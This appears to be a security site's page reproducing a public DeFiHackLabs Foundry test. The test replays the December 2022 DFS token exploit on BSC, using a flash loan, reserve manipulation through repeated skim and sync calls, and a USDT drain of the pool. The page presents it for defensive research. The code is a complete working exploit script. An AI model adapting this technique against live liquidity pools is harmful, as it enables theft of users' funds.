Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/DFS_exp.sol

Public reproduction file for dataset entry - DFS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/DFS_exp.sol103 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~1,450 US$
8// Attacker : 0xb358BfD28b02c5e925b89aD8b0Eb35913D2d0805
9// Attack Contract : 0x87bfd80c2a05ee98cfe188fd2a0e4d70187db137
10// Vulnerable Contract : 0x2B806e6D78D8111dd09C58943B9855910baDe005
11// Attack Tx : https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x2B806e6D78D8111dd09C58943B9855910baDe005#code#830
16// @Analysis
17// CertiKAlert : https://twitter.com/CertiKAlert/status/1608788290785665024
19CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20IPancakePair constant USDT_CCDS_LP = IPancakePair(0x2B948B5D3EBe9F463B29280FC03eBcB82db1072F);
21IPancakePair constant DFS_USDT_LP = IPancakePair(0x4B02D85E086809eB7AF4E791103Bc4cde83480D1);
22IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
23address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
24address constant dfs = 0x2B806e6D78D8111dd09C58943B9855910baDe005;
25address constant ccds = 0xBFd48CC239bC7e7cd5AD9F9630319F9b59e0B9e1;
27contract Attacker is Test {
28 // forge test --contracts ./src/test/DFS_exp.sol -vvvv
29 function setUp() public {
30 cheat.label(address(pancakeRouter), "pancakeRouter");
31 cheat.label(address(USDT_CCDS_LP), "USDT_CCDS_LP");
32 cheat.label(address(DFS_USDT_LP), "DFS_USDT_LP");
33 cheat.label(usdt, "USDT");
34 cheat.label(dfs, "dfs");
35 cheat.label(ccds, "ccds");
36 cheat.createSelectFork("bsc", 24_349_821);
37 }
39 function testExploit() public {
40 Exploit exploit = new Exploit();
41 emit log_named_decimal_uint("[start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);
42 exploit.harvest();
43 emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);
44 }
47contract Exploit is Test {
48 uint256 borrowamount;
50 function harvest() public {
51 emit log_named_decimal_uint(
52 "[INFO] usdt balance : DFS_USDT_LP", IERC20(usdt).balanceOf(address(DFS_USDT_LP)), 18
53 );
54 borrowamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));
55 USDT_CCDS_LP.swap(borrowamount, 0, address(this), "0");
56 emit log_named_decimal_uint("[INFO] usdt balance : this", IERC20(usdt).balanceOf(address(this)), 18);
57 }
59 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
60 if (keccak256(data) != keccak256("0")) return;
61 emit log("[INFO] Flashloan received ");
62 emit log_named_decimal_uint("[INFO] this balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18);
63 emit log_named_decimal_uint("[INFO] this balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18);
64 IERC20(usdt).transfer(address(DFS_USDT_LP), borrowamount);
66 (uint256 reserve0beforeswap, uint256 reserve1beforeswap,) = DFS_USDT_LP.getReserves();
67 uint256 swapamount = reserve0beforeswap * 499 / 1000; // swap 0.449 lp dfs
68 // DFS_USDT_LP.swap(reserve0beforeswap , 0,address(this), new bytes(1));
69 emit log_named_decimal_uint("[INFO] swapamount ", swapamount, 18);
70 DFS_USDT_LP.swap(swapamount, 0, address(this), new bytes(1));
71 DFS_USDT_LP.sync();
73 emit log_named_decimal_uint("[INFO] dfs balance : address(this)", IERC20(dfs).balanceOf(address(this)), 18);
74 uint256 dfstransferamount = IERC20(dfs).balanceOf(address(this));
75 IERC20(dfs).transfer(address(DFS_USDT_LP), dfstransferamount * 98 / 100); // transfer 98% dfs balance
76 // loop 12 times skim() function
77 for (uint256 i = 0; i < 12; i++) {
78 DFS_USDT_LP.skim(address(DFS_USDT_LP));
79 }
80 DFS_USDT_LP.skim(address(this));
82 uint256 txamount = IERC20(dfs).balanceOf(address(this));
83 emit log_named_decimal_uint("[INFO] dfs balance : address(this)", txamount, 18);
84 IERC20(dfs).transfer(address(DFS_USDT_LP), txamount * 95 / 100); //transfer 95% dfs balance
86 emit log_named_decimal_uint(
87 "[INFO] address(this) balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18
88 );
89 emit log_named_decimal_uint(
90 "[INFO] address(this) balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18
91 );
93 //todo
94 uint256 dfslpusdtamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));
95 emit log_named_decimal_uint("[INFO] address(DFS_USDT_LP) balance (usdt token)", dfslpusdtamount, 18);
96 DFS_USDT_LP.swap(0, dfslpusdtamount * 999 / 1000, address(this), new bytes(1)); // swap 99.9 lp usdt
97 emit log_named_decimal_uint("[INFO] payback amount usdt ", IERC20(usdt).balanceOf(address(address(this))), 18);
98 uint256 paybackfee = borrowamount * 1005 / 1000; // 0.5% fee
99 bool suc = IERC20(usdt).transfer(address(USDT_CCDS_LP), paybackfee);
100 require(suc, "[INFO] Flashloan[1] payback failed ");
101 emit log("[INFO] Flashloan payback success ");
102 }

Analysis

Dataset entry

Public Foundry test for “- DFS” (2022-12-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb358bfd28b02c5e925b89ad8b0eb35913d2d0805

  • Attack Contract

    0x87bfd80c2a05ee98cfe188fd2a0e4d70187db137

  • Vulnerable Contract

    0x2b806e6d78d8111dd09c58943b9855910bade005

  • Attack Tx

    0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c

File record

Name
DFS
Path
src/test/2022-12/DFS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
593069b1fd68834f2bf775ef9b36a4a5631a7e51
Language
Solidity
Size
104 lines
Date
2022-12-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/DFS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 593069b1fd68834f2bf775ef9b36a4a5631a7e51, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.